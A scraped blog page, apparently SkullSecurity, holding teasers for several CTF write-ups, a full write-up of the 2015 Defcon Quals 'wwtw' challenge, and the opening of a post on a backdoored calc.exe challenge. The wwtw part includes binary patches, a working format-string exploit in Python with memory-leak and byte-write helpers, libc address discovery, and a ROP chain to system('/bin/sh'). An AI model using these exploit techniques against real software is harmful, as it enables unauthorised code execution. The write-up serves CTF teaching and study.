    Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally […]

    Defcon Quals: Access Control (simple reverse engineer)

    Hello all, Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process […]

    Defcon Quals: r0pbaby (simple 64-bit ROP)

    This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception! Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I […]

    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end. Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was […]

    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink! Now, down to business: this writeup is about one of the Pwnage 300 […]

    GitS 2015: aart.php (race condition)

    Welcome to my second writeup for Ghost in the Shellcode 2015! This writeup is for the one and only Web level, "aart" (download it). I wanted to do a writeup for this one specifically because, even though the level isn't super exciting, the solution was actually a pretty obscure vulnerability type that you don't generally […]

    GitS 2015: knockers.py (hash extension vulnerability)

    As many of you know, last weekend was Ghost in the Shellcode 2015! There were plenty of fun challenges, and as always I had a great time competing! This will be my first of four writeups, and will be pretty simple (since it simply required me to use a tool that already exists (and that […]

    Defcon Quals writeup for byhd (reversing a Huffman Tree)

    This is my writeup for byhd, a 2-point challenge from the Defcon Qualifier CTF. You can get the files, including my annotated assembly file, here. This is my second (and final) writeup for the Defcon Qualifiers, you can find the writeup for shitsco here. This was a reverse engineering challenge where code would be constructed […]

    Defcon Quals writeup for Shitsco (use-after-free vuln)

    Hey folks, Apparently this blog has become a CTF writeup blog! Hopefully you don't mind, I still try to keep all my posts educational. Anyway, this is the first of two writeups for the Defcon CTF Qualifiers (2014). I only completed two levels, both of which were binary reversing/exploitation! This particular level was called "shitsco", […]

    PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

    Hey folks, This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other! Ultimately, this issue came down to a type-confusion bug that let us […]

    PlaidCTF writeup for Pwn-200 (a simple overflow bug)

    I know what you're thinking of: what's with all the Web levels!? Well, I was saving the exploitation levels for last! This post will be about Pwnable-200 (ezhp), and the next one will be Pwnable-275 (kappa). You can get the binary for ezhp here, and I highly recommend poking at this if you're interested in […]

    PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

    Hey folks, This is my writeup for Whatscat, just about the easiest 300-point Web level I've ever solved! I wouldn't normally do a writeup about a level like this, but much like the mtpox level I actually wrote the exact tool for exploiting this, and even wrote a blog post about it almost exactly 4 […]

    PlaidCTF writeup for Web-200 – kpop (bad deserialization)

    Hello again! This is my second writeup from PlaidCTF this past weekend! It's for the Web level called kpop, and is about how to shoot yourself in the foot by misusing serialization (download the files). There are at least three levels I either solved or worked on that involved serialization attacks (mtpox, reeekeeeeee, and this […]

    PlaidCTF writeup for Web-150 – mtpox (hash extension attack)

    Hey folks, This is going to be my first of a couple writeups about this past weekend's CTF: PlaidCTF! My first writeup is for a 150-point Web level called mtpox. I chose this one to do first not only because it's the first level I completed, but also because the primary vulnerability was a hash […]

    Ghost in the Shellcode: fuzzy (Pwnage 301)

    Hey folks, It's a little bit late coming, but this is my writeup for the Fuzzy level from the Ghost in the Shellcode 2014 CTF! I kept putting off writing this, to the point where it became hard to just sit down and do it. But I really wanted to finish before PlaidCTF 2014, which […]

    #####EOF##### Defcon quals: wwtw (a series of vulns) » SkullSecurity


    Defcon quals: wwtw (a series of vulns)

    Hey folks,

    This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. Who references!

    I'm not going to spend much time on the theory of format-string vulnerabilities or return-oriented programming because I just covered them in babyecho and r0pbaby.

    And by the way, I'll be building the solution in Python as we go, because the first part was solved by one of my teammates, and he's a Python guy. As much as I hated working with Python (which has become my life lately), I didn't want to re-write the first part and it was too complex to do on the shell, so I sucked it up and used his code.

    You can download the binary here, and you can get the exploit and other files involved on my github page.

    Part 1: The game

    The first part's a bit of a game. I wasn't all that interested in solving it, so I patched it out (see the next section) and discovered that there was another challenge I could work on while my teammate solved the game. This is going to be a very brief overview of my teammate's solution.

    When you start wwtw, you will see this:

    You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
    Go through the exits(E) to get to the next room and continue your search.
    But, most importantly, don't blink!
       012345678901234567890
    00        <
    01
    02  A
    03
    04            A
    05
    06                AA
    07    A        A
    08 A
    09
    10  A     A
    11                  A
    12                 A
    13
    14                    A
    15    A
    16 A   A              E
    17
    18                A
    19  A
    Your move (w,a,s,d,q):
    

    After a few seconds, it times out. The timeout can be patched out, if you want, but the timeouts are actually somewhat important in this level as we'll see later.

    You can move around your character using the w,a,s,d keys, as indicated in the little message. Your goal is to reach the tardis - represented by a 'T' - by going through the exits - represented by 'E's - and avoiding the angels - represented by 'A's. The angels will follow you when your back is turned. This stuff is, of course, a Dr. Who reference. :)

    The solution to this was actually pretty straight forward: a greedy algorithm that makes the "best" move toward the exit to a square that isn't occupied by an angel works 9 times out of 10, so we stuck with that and re-ran it whenever we got stuck in a corner or along the wall.

    You can see the code for it in the exploit. I'm not going to dwell on that part any longer.

    Part 1b: skipping the game

    As I said, I didn't want to deal with solving the game, I wanted to get to the good stuff (so to speak), so I "fixed" the game such that every move would appear to be a move to the exit (it would be possible to skip the game part entirely, but this was easy and worked well enough).

    This took a little bit of trial and error, but I primarily used the failure message - "Enjoy 1960..." - to figure out where in the binary to look.

    If you look at all the places that string is found (in IDA, use shift-f12 or just search for it), you'll find one that looks like this:

    .text:00002E14          lea     eax, (aEnjoy1960____0 - 5000h)[ebx] ; "Enjoy 1960..."
    

    If you look back a little bit, you'll find that the only way to get to that line is for this conditional jump to occur:

    .text:00002DC0 83 7D F4 01                             cmp     [ebp+var_C], 1
    .text:00002DC4 75 48                                   jnz     short loc_2E0E
    

    It's pretty easy to fix that, you can simply replace the jnz - 75 48 - with nops - 90 90. Here's a diff:

    --- a   2015-06-03 17:09:22.000000000 -0700
    +++ b   2015-06-03 17:09:44.000000000 -0700
    @@ -3635,7 +3635,8 @@
         2db8:      e8 7f ed ff ff          call   1b3c <main+0x937>
         2dbd:      89 45 f4                mov    %eax,-0xc(%ebp)
         2dc0:      83 7d f4 01             cmpl   $0x1,-0xc(%ebp)
    -    2dc4:      75 48                   jne    2e0e <main+0x1c09>
    +    2dc4:      90                      nop
    +    2dc5:      90                      nop
         2dc6:      8d 83 e0 00 00 00       lea    0xe0(%ebx),%eax
         2dcc:      8b 00                   mov    (%eax),%eax
         2dce:      83 f8 03                cmp    $0x3,%eax
    

    Aside: Making the binary debug-able

    Just as a quick aside: this program is a PIE - position independent executable - which means the addresses you see in IDA are all relative to 0. But when you run the program, it's assigned a "proper" address, even if ASLR is off. I don't know if there's a canonical way to deal with that, but I personally use this little trick in addition to turning off ASLR:

    1. Replace the first instruction in the start() or main() function with "\xcc" (software breakpoint) (and enough nop instructions to overwrite exactly one instruction)
    2. Run it in a debugger such as gdb
    3. (Optionally) use a .gdbinit file that automatically resumes execution when the breakpoint is hit

    Here's the first line of start() in wwtw:

    .text:00000A60 31 ED                                   xor     ebp, ebp
    

    Since it's a two byte instruction ("\x31\xED"), we open the binary in a hex editor and replace those two bytes with "\xcc\x90" (the "\x90" being a nop instruction). If you try to execute it after that change, you should see this if you did it right:

    $ ./wwtw-blog
    Trace/breakpoint trap
    

    And with a debugger, you can continue execution after that breakpoint:

    $ gdb -q ./wwtw-blog
    (gdb) run
    Starting program: /home/ron/defcon-quals/wwtw/wwtw-blog
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x56555a61 in ?? ()
    (gdb) cont
    Continuing.
    You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
    Go through the exits(E) to get to the next room and continue your search.
    [...]
    

    You can also use a gdbinit file:

    $ echo -e 'run\ncont' > gdbhax
    $ gdb -q -x ./gdbhax ./wwtw-blog
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x56555a61 in ?? ()
    You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
    Go through the exits(E) to get to the next room and continue your search.
    But, most importantly, don't blink!
    [...]
    

    Part 2: Starting the ignition (by debugging)

    After you complete the fifth room and get to the Tardis, you're prompted for a key:

    TARDIS KEY: abcd
    Wrong key!
    Enjoy 1960...
    $ bcd
    

    Funny story: I had initially nop'd out the failure condition when I was trying to nop out the "you've been eaten by an angel" code from earlier, so it actually took me awhile to even realize that this was a challenge. I had accidentally set it to - as I describe in the next section - accept any password. :)

    Anyway, one thing you'll notice is that when it prompts you for the key, you can type in multiple characters, but after it kicks you out it prints all but the first character on the commandline. That's interesting, because it means that it's only consuming one character at a time and is therefore vulnerability to a bunch of attacks. If you happen to guess a correct character, it consumes one more:

    TARDIS KEY: Uabcd
    Wrong key!
    Enjoy 1960...
    $ bcd
    

    (Note that it consumed both the "U" and the "a" this time)

    Because it's checking one character at a time, it's pretty easy to guess it one character at a time - 62 max tries per character (31 on average) and a 10-character string means it could be guessed in something like 600 - 1000 runs. But we can do better than that!

    I searched the source in IDA for the string "TARDIS KEY:" to get an idea of where to look for the code. You will find it at 0x00000ED1, which is in a fairly short function called from main(). In it, you'll see a call to both read() and getchar(). But more importantly, in the whole function, there's only one "cmp" instruction that takes two registers (as opposed to a register and an immediate value (ie, constant)):

    .text:00000F45 39 C2                                   cmp     edx, eax
    

    If I had to take a wild guess, I'd say that this function somehow verifies the password you type in using that comparison. And if we're lucky, it'll be a comparison between what we typed and what they expected to see (it doesn't always work out that way, but when it does, it's awesome).

    To set a breakpoint, we need to know which address to break at. The easiest way to do that is to disable ASLR and just have a look at what address stuff loads to. It shouldn't change if ASLR is off.

    On my machine, wwtw loads to 0x56555000, which means that comparison should be at 0x56555000 + 0x00000f45 = 0x56555f45. We can verify in gdb:

    (gdb) x/i 0x56555f45
       0x56555f45:  cmp    edx,eax
    

    We want to put a breakpoint there and print out both of those values to make sure that one is what we typed and the other isn't. I added the breakpoint to my gdbhax file because I know I'm going to be using it over and over:

    $ cat gdbhax
    run
    b *0x56555f45
    cont
    

    And run the process (punching in whatever you want for the five moves, since we've already "fixed" the game):

    $ gdb -q -x ./gdbhax ./wwtw-blog
    [...]
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x56555a61 in ?? ()
    Breakpoint 1 at 0x56555f45
    You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
    Go through the exits(E) to get to the next room and continue your search.
    But, most importantly, don't blink!
    
    [...]
    
    TARDIS KEY: a
    
    Breakpoint 1, 0x56555f45 in ?? ()
    (gdb)
    (gdb) print/c $edx
    $2 = 65 'a'
    (gdb) print/c $eax
    $3 = 85 'U'
    (gdb)
    

    It's comparing the first character we typed ("a") to another character ("U"). Awesome! Now we know that at that comparison, the proper character is in $eax, so we can add that to our gdbhax file:

    $ cat gdbhax
    run
    b *0x56555f45
    
    cont
    
    while 1
      print/c $eax
      cont
    end
    

    That little script basically sets a breakpoint on the comparison, then each time it breaks it prints eax and continues execution.

    When you run it a second time, we start with "U" and then whatever other character so we can get the second character:

    $ gdb -q -x ./gdbhax ./wwtw-blog
    [...]
    TARDIS KEY: Ua
    
    Breakpoint 1, 0x56555f45 in ?? ()
    $1 = 85 'U'
    
    Breakpoint 1, 0x56555f45 in ?? ()
    $2 = 101 'e'
    Wrong key!
    

    Then run it again with "Ue" at the start:

    Breakpoint 1, 0x56555f45 in ?? ()
    $1 = 85 'U'
    
    Breakpoint 1, 0x56555f45 in ?? ()
    $2 = 101 'e'
    
    Breakpoint 1, 0x56555f45 in ?? ()
    $3 = 83 'S'
    

    ...and so on. Eventually, you'll get the key "UeSlhCAGEp". If you try it, you'll see it works:

    TARDIS KEY: UeSlhCAGEp
    Welcome to the TARDIS!
    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    

    Part 2b: Without brute force

    Usually in CTFs, if a password or key is English-looking text, it's probably hardcoded, and if it's random looking, it's generated. Since that key was obviously not English, it stands to reason that it's probably generated and therefore would not work against the real service. At this point, my teammate hadn't solved the "game" part yet, so I couldn't easily test against the real server. Instead, I decided to dig a bit deeper to see how the key was actually generated. Spoiler: it doesn't actually change, so this wound up being unnecessary. There's a reason I take a long time to solve these levels. :)

    At the start of the function that references the "TARDIS KEY:" string (the function contains, but doesn't start at, address 0x00000ED1), you'll see this line:

    .text:00000EEF        lea     eax, (check_key - 5000h)[ebx]
    

    Later, that variable is read, one byte at a time:

    .text:00000EFA top_loop:                               ; CODE XREF: check_key+A4j
    .text:00000EFA                 mov     eax, [ebp+key_thing]
    .text:00000EFD                 movzx   eax, byte ptr [eax]
    .text:00000F00                 movsx   eax, al
    .text:00000F03                 and     eax, 7Fh
    .text:00000F06                 mov     [esp], eax      ; int
    .text:00000F09                 call    _isalnum
    

    At each point, it reads the next byte, ANDs it with 0x7F (clearing the uppermost bit), and calls isalnum() on it to see if it's a letter or a number. If it's a valid letter or number, it's considered part of the key; if not, it's skipped.

    It took me far too long to see what was going on: the function I called check_key() actually references itself and reads its own code! It reads the first dozen or so bytes from the function's binary and compares the alpha-numeric values to the key that was typed in.

    To put it another way: if you look at the start of the function in a hex editor, you'll see:

    55 89 E5 53 83 EC 24 E8 DC FB FF FF 81 C3 3C 41...

    If we AND each of these values by 0x7F and convert them to a character, we get:

    1.9.3-p392 :004 > "55 89 E5 53 83 EC 24 E8 DC FB FF FF 81 C3 3C 41".split(" ").each do |i|
    1.9.3-p392 :005 >     puts (i.to_i(16) & 0x7F).chr
    1.9.3-p392 :006?>   end
    U
    
    e
    S
    
    l
    $
    h
    \
    {
    
    
    
    C
    <
    A
    

    If you exclude the values that aren't alphanumeric, you can see that the first 16 bytes becomes "UeSlhCA", which is the first part of the code to start the engine!

    Satisfied that it wasn't random, I moved on.

    Aside: Why did they use the function as the key?

    Just a quick little note in case you're wondering why the function used itself to generate the password...

    When you set a software breakpoint (which is by far the most common type of breakpoint), behind the scenes the debugger replaces the instruction with a software breakpoint ("\xcc"). After it breaks, the real instruction is briefly replaced so the program can continue.

    If you break on the first line of the function, then instead of the first line of the function being "\x55", which is "pop ebp", it's "\xCC" and therefore the value will be wrong. In fact, putting a breakpoint anywhere in the first ~20 bytes of that function will cause your passcode to be wrong.

    I suspect that this was used as a subtle anti-debugging technique.

    Part 2c: Skipping the password check

    Much like the game, I didn't want to have to deal with entering the password each time around, so I found the call that checks whether or not that password was valid:

    .text:0000125E                 test    eax, eax
    .text:00001260                 jz      short loc_129C
    .text:00001262                 lea     eax, (aWrongKey - 5000h)[ebx] ; "Wrong key!"
    

    And switched the jz ("\x74\x3a") to a jmp ("\xeb\x3a"). Once you've done that, you can type whatever you want (including nothing) for the key.

    Part 3: Time travelling

    Now that you've started the Tardis, there's another challenge: you can only turn on the console during certain times:

    Welcome to the TARDIS!
    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    Selection: 1
    Access denied except between May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT
    

    Looking around in IDA, I see some odd stuff happening. For example, the program attempts to connect to localhost on a weird port and read some data from it! The function that does that is called sub_CB0() if you want to have a look. After it connects, it sets up an alarm() that calls sub_E08() every 2 seconds. In that function, it reads 4 bytes from the socket and stores them. Those 4 bytes turned out to be a timestamp.

    Basically, it has a little timeserver running on localhost that sends it the current time. If we can make it use a different server, we can provide a custom timestamp and bypass this check. But how?

    I played around quite a bit with this, but I didn't make any breakthroughs till I ran it in strace.

    To run the program in strace, we no longer need the debugger, so we have to fix the first two bytes of start():

    .text:00000A60 31 ED                                   xor     ebp, ebp
    

    and run strace on it to see what's going on:

    socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
    setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "\0\0\0\0\350\3\0\0", 8) = 0
    connect(3, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
    write(3, "\0", 1)                       = 1
    read(3, 0xffffcd88, 4)                  = -1 ECONNREFUSED (Connection refused)
    [...]
    --- SIGALRM {si_signo=SIGALRM, si_code=SI_KERNEL, si_value={int=111, ptr=0x6f}} ---
    write(3, "\0", 1)                       = 1
    read(3, 0xffffc6d8, 4)                  = -1 ECONNREFUSED (Connection refused)
    alarm(2)                                = 0
    sigreturn() (mask [])                   = 3
    read(0, 0x5655a0b0, 9)                  = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
    [...]
    

    Basically, it makes the connection and gets a socket numbered 3. Every 2 seconds, it reads a timestamp from the socket. One of the first things I often do while working on CTF challenges is disable alarm() calls, but in this case it was actually needed! I suspected that this is another anti-debugging measure - to catch people who disabled alarm() - and therefore I should look for the vulnerability in the callback function.

    It turns out there wasn't really that much code, but the vulnerability was somewhat subtle and I didn't notice until I ran it in strace and typed a bunch of "A"s:

    read(0, AAAAAAAAAAAAAAAAAAAAAAAA
    "AAAAAAAAA", 9)                 = 9
    write(1, "Invalid\n", 8Invalid
    )                = 8
    [...]
    --- SIGALRM {si_signo=SIGALRM, si_code=SI_KERNEL, si_value={int=111, ptr=0x6f}} ---
    write(65, "\0", 1)                      = -1 EBADF (Bad file descriptor)
    read(65, 0xffffc6d8, 4)                 = -1 EBADF (Bad file descriptor)
    alarm(2)                                = 0
    [...]
    

    When I put a bunch of "A"s into the prompt, it started reading from socket 65 (aka, 0x41 or "A") instead of from socket 3! There's an off-by-one vulnerability that allows you to change the socket identifier!

    If you were to use "AAAAAAAA\0", it would overwrite the socket with a NUL byte, and instead of reading from socket 3 or 65, it would read from socket 0 - stdin. The very same socket we're already sending data to!

    Here's the python code to exploit this:

    sys.stdout.write("01234567\0")
    sys.stdout.flush()
    
    time.sleep(2) # Has to be at least 2
    
    sys.stdout.write("\x6d\x2b\x59\x55")
    sys.stdout.flush()
    

    That hex value is a timestamp during the prescribed time. When it reads that from stdin rather than from the socket it opened, it thinks the time is right and we can then activate the TARDIS!

    Part 3b: Skipping the timestamp check

    Once again, in the interest of being able to test without waiting 2 seconds every time, we can disable the timestamp check altogether. To do that, we find the error message:

    .text:00001409  lea     eax, (aAccessDeniedEx - 5000h)[ebx] ; "Access denied except between %s and %s\"...
    

    ...and look backwards a little bit to find the jump that gets you there:

    .text:000013BE E8 45 FA FF FF      call    check_timestamp
    .text:000013C3 85 C0               test    eax, eax
    .text:000013C5 74 2F               jz      short loc_13F6
    .text:000013C7 8D 83 22 E1 FF FF   lea     eax, (aTheTardisConso - 5000h)[ebx] ; "The TARDIS console is online!"
    

    And make sure it never happens (by replacing "\x74\x2F" with "\x90\x90"). Now we can jump directly to pressing "1" to active the TARDIS and it'll come right online:

    $ ./wwtw-blog-nodebug
    [...]
    Welcome to the TARDIS!
    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    Selection: 1
    The TARDIS console is online!Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    3. Dematerialize
    Selection:
    

    Part 4: Getting the coordinates

    When we select option 3, we're prompted for coordinates:

    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    3. Dematerialize
    Selection: 3
    Coordinates: 1,2
    1.000000, 2.000000
    You safely travel to coordinates 1,2
    

    If you look at the function that contains the "You safely travel..." string, you'll see that one of three things can happen:

    • It prints "Invalid coordinates" if you put anything other than two numbers (as defined by strtof() returning with no error, which means we can put a number then text without being "caught")
    • It prints "You safely travel to coordinates [...]" if you put valid coordinates
    • It prints "XXX is occupied by another TARDIS" if some particular set of coordinates are entered

    The "XXX" in the output is actually the coordinates the user typed, as a string, passed directly to printf(). And we remember why printf(user_string) is bad, right? (Hint: format string attacks)

    The function to calculate the coordinates used a bunch of floating point math, which made me sad - I don't really know how to reverse floating point stuff, and I don't really want to learn in the middle of a level. Fortunately, I noticed that two global variables were used:

    .text:0000112B                 fld     ds:(dbl_3170 - 5000h)[ebx]
    [...]
    .text:00001153                 fld     ds:(dbl_3178 - 5000h)[ebx]
    

    And if you look at the variables, you'll see:

    .rodata:00003170 dbl_3170        dq 51.492137            ; DATA XREF: do_jump_EXPLOITME+104r
    .rodata:00003170                                         ; do_jump_EXPLOITME+11Ar
    .rodata:00003178 dbl_3178        dq -0.192878            ; DATA XREF: do_jump_EXPLOITME+12Cr
    .rodata:00003178                                         ; do_jump_EXPLOITME+13Er
    

    So that's kind of a freebie. If we enter them, it works:

    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    3. Dematerialize
    Selection: 3
    Coordinates: 51.492137,-0.192878
    51.492137, -0.192878
    Coordinate 51.492137,-0.192878 is occupied by another TARDIS.  Materializing there would rip a hole in time and space. Choose again.
    

    And, to finish it off, let's verify that there is indeed a format-string vulnerability there:

    Coordinates: 51.492137,-0.192878 %x %x %x
    51.492137, -0.192878
    Coordinate 51.492137,-0.192878 58601366 4049befe ef0f16f4 is occupied by another TARDIS.  Materializing there would rip a hole in time and space. Choose again.
    
    Coordinates: 51.492137,-0.192878 %n
    51.492137, -0.192878
    Segmentation fault
    

    Yup! :)

    Part 4b: Format string exploit

    I'm not going to spend any time explaining what a format string vulnerability is. If you aren't familiar, check out my last blog.

    Instead, we're going to look at how I exploited this one. :)

    The cool thing about this is, as you can see in the last example, if you enter "collision" coordinates (ie, the ones that trigger the format string vulnerability), the function doesn't actually return, it just prompts again. The function doesn't return until you enter valid-looking coordinates (like 1,1).

    That's really handy, because it means we can exploit it over and over before letting it return. Instead of the crazy math we had to do in the earlier level, we can just write one byte at a time. And speaking of the last level, I actually solved this level before babyecho, so I didn't have the handy format-string generator that I wrote.

    write_byte()

    I wrote a function in python that will write a single byte to a chosen address:

    def write_byte(addr, value):
        s = "51.492137,-0.192878 " + struct.pack("<I", addr)
        s += "%" + str(value + 256 - 24) + "x%20$n\n"
    
        print s
        sys.stdout.flush()
        sys.stdin.readline()
    

    Basically, it uses the classic "AAAA%NNx%MM$n" string, which we saw a whole bunch in babyecho, where:

    • AAAA = the address as a 4-byte string (which will be the address written to by the %n)
    • NN = the number of bytes to waste to ensure that %n writes the proper value to AAAA (keeping in mind that the coordinates and address take up 24 bytes already)
    • MM = the number of elements on the stack before the format string reads itself (we can figure that out by bruteforce then hardcode it)

    If that doesn't make sense, read the last blog - this is exactly the same attack (except simpler, because we only have to write a single byte).

    leak()

    Meanwhile, my teammate wrote this function that, while ugly, can leak arbitrary memory addresses using "%s":

    def leak(address):
        print >> sys.stderr, "*** Leak 0x%04x" % address
        s = "51.492137,-0.192878 " + struct.pack("<I", address) + " >>>%20$s<<<"
        s = "    51.492137,-0.192878 >>>%24$s<<< " + struct.pack("<IIII", address, address, address, address)
        #print >> sys.stderr, "s", repr(s)
        print s
        sys.stdout.flush()
        sys.stdin.readline() # Echoed coordinates.
        resp = sys.stdin.readline()
        #print >> sys.stderr, "resp", repr(resp)
        m = re.search(r'>>>(.*)<<<', resp, flags=re.DOTALL)
        while m is None:
            extra = sys.stdin.readline()
            assert extra, repr(extra)
            resp += extra
            print >> sys.stderr, "read again", repr(resp)
            m = re.search(r'>>>(.*)<<<', resp, flags=re.DOTALL)
        assert m is not None, repr(resp)
        resp = m.group(1)
        if resp == "":
            resp = "\0"
        return resp
    

    Then, exactly like the last blog, we use the vulnerability to leak a return address and frame pointer, then overwrite the return address with a chosen address, and thus obtain EIP control.

    Getting libc's base address

    Next, we needed an address to return to. This was a little tricky, since I wasn't able to steal a copy of their libc.so file (it's the only 32-bit level our team worked on) - that means I could easily exploit myself, because I have libc handy, but I couldn't exploit them. There's a "pwntool" module that can find base addresses given a memory leak, but it was too slow and the binary would time out before it finished (more on that later).

    So, I used the format-string vulnerability and a bit of experience to get the base address of libc. We use %s in the format string to leak data from the PLT and get an address of anything in the libc binary - I chose to find printf() because it's the first one I could think of. That's at a static offset in the wwtw binary file (we already know the return address, since we leaked it off the stack, and that can be used to calculate where the PLT is).

    Once I had that address, I worked my way backwards, reading the first bytes of each page (multiple of 0x1000) until I found an ELF header. Here's the code:

    bf = printf_addr - 0xc280
    while True:
        print >> sys.stderr, "Checking", hex(bf), " (printf - ", hex(printf_addr - bf), ")..."
        str = leak(bf)
        print >> sys.stderr, hexify(str)
        if(str[0:4] == "\x7FELF"):
            break
    
        bf -= 0x1000
    

    I now had the relative offset of printf(), which means given the address of printf(), I can find the base address deterministically.

    Getting system()'s address

    Once I had the base address, I wanted to find the address of system(). I don't normally like using stuff I didn't write, because it's really hard to troubleshoot when there's a problem, but I couldn't find an easy way to do this by bruteforce, so I tried using pwntools ('leak' refers to the function shown earlier):

    d = dynelf.DynELF(leak, libc_base_REAL)
    system_addr = d.lookup("system", 'libc')
    

    Once again, this was too slow and kept timing out. I looked at some options, like stealing the libc binary from memory by returning into the write() libc function (like I did in ropasaurusrex) or trying to make pwntools start where it left off after being disconnected, but none of it would work.

    (in retrospect, I probably could have silently re-connected/re-solved the first half of the level in the leak() function and just continued where I left off, but that didn't occur to me till now, like two weeks later)

    After fighting for far too long, I had a realization: maybe my home Internet connection just sucks. I uploaded the script to my server and it found the address on the first try (and solved the game portion like 10x faster).

    Getting "/bin/sh"'s address

    Although I ended up with the address of system(), getting the address of "/bin/sh" from libc might be a bit tricky, so instead I simply put the string in my own input buffer - the same buffer that contains the format string - and calculated the offset from the leaked ebp value to that address. Since it was on the stack, it was always at a fixed offset from the saved ebp, which we had access to.

    I could easily have leaked libc until I found the offset to the string, but that's completely unnecessary.

    Building the ROP chain

    In the end, I had the address of system() and the address of "/bin/sh" in my buffer. I used them to construct a really simple ROP chain, similar to the one used in r0pbaby (the difference is that, since we're on 32-bit for this level, we can pass the address of "/bin/sh" on the stack and don't have to worry about finding a gadget):

    write_byte(return_ptr+0, (system_addr >> 0) & 0x0FF)
    write_byte(return_ptr+1, (system_addr >> 8) & 0x0FF)
    write_byte(return_ptr+2, (system_addr >> 16) & 0x0FF)
    write_byte(return_ptr+3, (system_addr >> 24) & 0x0FF)
    
    write_byte(return_ptr+4, 0x5e)
    write_byte(return_ptr+5, 0x5e)
    write_byte(return_ptr+6, 0x5e)
    write_byte(return_ptr+7, 0x5e)
    
    sh_addr = buffer_addr + 200 + FUDGE
    write_byte(return_ptr+8,  (sh_addr >> 0) & 0x0FF)
    write_byte(return_ptr+9,  (sh_addr >> 8) & 0x0FF)
    write_byte(return_ptr+10, (sh_addr >> 16) & 0x0FF)
    write_byte(return_ptr+11, (sh_addr >> 24) & 0x0FF)
    

    Basically, I wrote the 4-byte address of system() over the actual return address in four separate printf() calls. Then I wrote 4 useless bytes (they don't really matter - they're system()'s return address so I made them something distinct so I can recognize the crash after system() returns). Then I wrote the address of "/bin/sh" over the next 4 bytes (the first parameter to system()).

    Once that was done, I sent "good" coordinates - 100000,100000 - which caused the function to return. Since the return address had been overwritten, it returned to system("/bin/sh") and it was game over.

    Conclusion

    I really liked this level because it was multiple parts.

    First, we had to solve a game by making some simple AI.

    Second, we had to find the "key" by either reverse engineering or debugging.

    Third, we had to fix the timestamp using an off-by-one error.

    And finally, we had to use a format string vulnerability to get EIP control and win the level.

    One interesting dynamic of this level was that there were anti-debugging features in this level. One was the timeout that had to be used for the off-by-one error, since people frequently remove calls to alarm(), and the other was using the first few bytes of a function for something meaningful to mess with software breakpoints.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode) » SkullSecurity


    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody,

    In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page.

    This post will be more about how I developed this, since the solution is fairly straight forward once you know how it's implemented.

    The idea came to me while my boyfriend, Chris, was playing a game on Steam Link. Due to an odd bug, while playing Dark Souls, the Steam Link kept shutting off. Eventually, we realized that even though the game was running, the Steam menu was still "in focus". That means that while he was playing the game, he was also moving around and clicking things on the menu. Very reminiscent of Clickjacking attacks.

    I tried to figure out something I could do with this, and slept on it. The next day, I had an idea: I'd write a backdoor into Windows Calculator such that, when a special code was entered, it'd decrypt and display the flag. Just like Steam Link, you'd be entering the code in the background as you're doing calculations.

    I really wanted some Windows reverse engineering challenges, not to mention oldschool software references, so this was perfect!

    You can grab the patched binary and try it out, if you like! The code for that version is 9*4+0839, and the flag looks like this:

    Getting calc.exe

    I initially tried using c:\windows\system32\calc.exe from Windows 7, since that's the version I had handy. I found the place where I wanted to add the custom code, then made a small change to make sure it'd work, and it started crashing immediately. Even changing a simple string prevented it from starting. I'm assuming it was due to code signing, but I'm not 100% sure. It also required the en/ or en-US/ folder to be present, which was annoying. I quickly gave up on that.

    I decided to use Windows 2003 instead. I had the ISO for the OS handy, but didn't really want to install it. I had no idea how Windows was packaged, so I just mounted the iso:

    $ sudo mount -o loop,ro -t iso9660 Windows2003r2_Standard_SP2_x86_cd1.iso /mnt/tmp
    

    Then explored the filesystem:

    /mnt/tmp $ find . -name '*calc*'
    ./i386/calc.ch_
    ./i386/calc.ex_
    ./i386/calc.hl_
